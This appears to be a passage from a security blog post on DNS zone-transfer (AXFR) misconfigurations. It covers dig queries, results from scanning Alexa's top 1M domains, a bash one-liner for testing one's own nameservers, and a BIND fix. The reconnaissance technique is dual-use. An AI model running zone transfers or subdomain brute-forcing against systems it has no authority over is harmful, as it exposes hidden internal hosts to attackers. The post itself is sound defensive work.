</pre></td><td class='code'><pre><code class=''><span class='line'>> dig NS google.com
</span><span class='line'>;; ANSWER SECTION:
</span><span class='line'>google.com.                21599        IN        NS        ns3.google.com.
</span><span class='line'>google.com.                21599        IN        NS        ns2.google.com.
</span><span class='line'>google.com.                21599        IN        NS        ns1.google.com.
</span><span class='line'>google.com.                21599        IN        NS        ns4.google.com.</span></code></pre></td></tr></table></div></figure>


<p>We request information about the nameservers of <code>google.com</code> first. There are four nameservers which are answering DNS-requests for the domain.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>> dig A google.com @ns4.google.com
</span><span class='line'>;; ANSWER SECTION:
</span><span class='line'>google.com.                300        IN        A        173.194.32.196
</span><span class='line'>google.com.                300        IN        A        173.194.32.201
</span><span class='line'>google.com.                300        IN        A        173.194.32.198
</span><span class='line'>google.com.                300        IN        A        173.194.32.199
</span><span class='line'>google.com.                300        IN        A        173.194.32.194
</span><span class='line'>google.com.                300        IN        A        173.194.32.193
</span><span class='line'>google.com.                300        IN        A        173.194.32.200
</span><span class='line'>google.com.                300        IN        A        173.194.32.206
</span><span class='line'>google.com.                300        IN        A        173.194.32.195
</span><span class='line'>google.com.                300        IN        A        173.194.32.192
</span><span class='line'>google.com.                300        IN        A        173.194.32.197</span></code></pre></td></tr></table></div></figure>


<p>Now, we asked the fourth nameserver (<code>ns4.google.com</code>) to list us all <code>A</code> (IPv4) entries for the domain <code>google.com</code>.</p>

<p>The same works for other request types (AAA/TXT/MX/CNAME/&#8230;), but you will need to know the DNS entry to ask for. It&#8217;s not possible to ask something like &#8220;List me all subdomains for <code>google.com</code> in your zone&#8221;. There are tools like <a href="https://github.com/TheRook/subbrute">Subbrute</a> which brute-force the entries.</p>

<p>From a security perspective this information is the most valuable, because you are probably going to find some entries pointing to unprotected/vulnerable software.</p>

<p>For example an admin sets up a monitoring system at the subdomain <code>monitoring.internal.server1.domain.tld</code>. He thinks that it is hard for an attacker to guess this subdomain and that he does not need to set up additional layers of security to protect the system from unauthorized access.</p>

<p>If one of his nameservers is misconfigured, an attacker can send an AXFR request, download the zone and get access to the monitoring system.</p>

<h1>Scanning Alexa&#8217;s top 1M</h1>

<p>We wanted to see how many misconfigured nameservers can be found in Alexa&#8217;s top 1M websites. We used a small python script to do the work. You can find it on <a href="https://github.com/internetwache/Python-AXFR-Test">GitHub</a>.</p>

<p>The results were a bit astonishing:</p>

<ul>
<li>132854 AXFRs were made</li>
<li>72401 unique domains are affected</li>
<li>48448 unique nameservers are affected</li>
</ul>


<p>Some domains had multiple misconfigured nameservers, thus there have been more transfers than domains affected or the other way round that one nameserver served more than one zonefile.</p>

<p><strong>So on average every 20th website of the top Alexa 1M runs a misconfigured webserver.</strong></p>

<p>TLDs of the affected domains:</p>

<p><a rel="fancybox"href="/images/posts/axfr_domains_tlds.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/axfr_domains_tlds.png" alt="TLDs of the affected domains" title="Distribution of the affected domains" /></a></p>

<p>TLDs of the affected nameservers:</p>

<p><a rel="fancybox"href="/images/posts/axfr_nameservers_tlds.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/axfr_nameservers_tlds.png" alt="TLDs of the affected nameservers" title="Distribution of the affected nameservers" /></a></p>

<p>We were very disappointed to see some well and not so well known hosting companies running misconfigured nameservers.
Grabbing some random samples from the data lead to the conclusion that information of the companies or it&#8217;s customers could be accessed unauthenticated (similar to the scenario described above).</p>

<p>All other kind of websites could be found in our research results, too: Ranging from (huge) news portals over shopping sites to small personal websites.</p>

<h1>How to fix?</h1>

<p>The easiest way to fix this issue is to re-check your dns server&#8217;s configuration file. Make sure that the nameservers only allow AXFR to subsidiary nameservers and that these aren&#8217;t allowed to answer AXFR requests.</p>

<p>If you want to check if your nameservers are misconfigured, you can use the following one-liner directly on your bash shell:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="c">#!/bin/bash</span>
</span><span class='line'><span class="c"># You need to have dnsutils installed</span>
</span><span class='line'><span class="nv">DOMAIN</span><span class="o">=</span><span class="s2">&quot;YOURDOMAIN.TLD&quot;</span>
</span><span class='line'>dig NS <span class="nv">$DOMAIN</span> +short | sed -e <span class="s2">&quot;s/\.$//g&quot;</span> | <span class="k">while </span><span class="nb">read </span>nameserver; <span class="k">do </span><span class="nb">echo</span> <span class="s2">&quot;Testing $DOMAIN @ $nameserver&quot;</span>; dig AXFR <span class="nv">$DOMAIN</span> <span class="s2">&quot;@$nameserver&quot;</span>; <span class="k">done</span>
</span></code></pre></td></tr></table></div></figure>


<p>If you don&#8217;t want to use the shell, you can use the following website:  <a href="https://hackertarget.com/zone-transfer/">https://hackertarget.com/zone-transfer/</a></p>

<p><strong>We deeply recommend you to do so :)</strong></p>

<p>If you get the following output for all nameservers then you&#8217;re safe.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>; Transfer failed.</span></code></pre></td></tr></table></div></figure>


<p>Otherwise you&#8217;re probably running a misconfigured server. In case it&#8217;s the popular <code>BIND</code> DNS-server you can use the following option to limit the IP addresses:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>allow-transfer { 192.168.1.1; };</span></code></pre></td></tr></table></div></figure>


<p>Where <code>192.168.1.1</code> is the IP address of the secondary DNS server.</p>

<h1>Conclusion</h1>

<p>It&#8217;s interesting to see that such &#8216;easy&#8217; configuration mistakes, which had already been discussed around the 90&#8217;s, are still happening.</p>

<p>The US CERT picked up on the topic and publised <a href="https://www.us-cert.gov/ncas/alerts/TA15-103A">an alert</a> about it.</p>

<p>Stay safe,</p>

<p>the team of internetwache.org</p>

<h1>Updates</h1>

<ul>
<li>&#35;1: 29/03/15: Changed URL for the AXFR testing website. Added configuration option for BIND.</li>
<li>&#35;2: 08/01/16: Added link to US CERT Alert.</li>
</ul>

]]></content>
  </entry>
  
</feed>
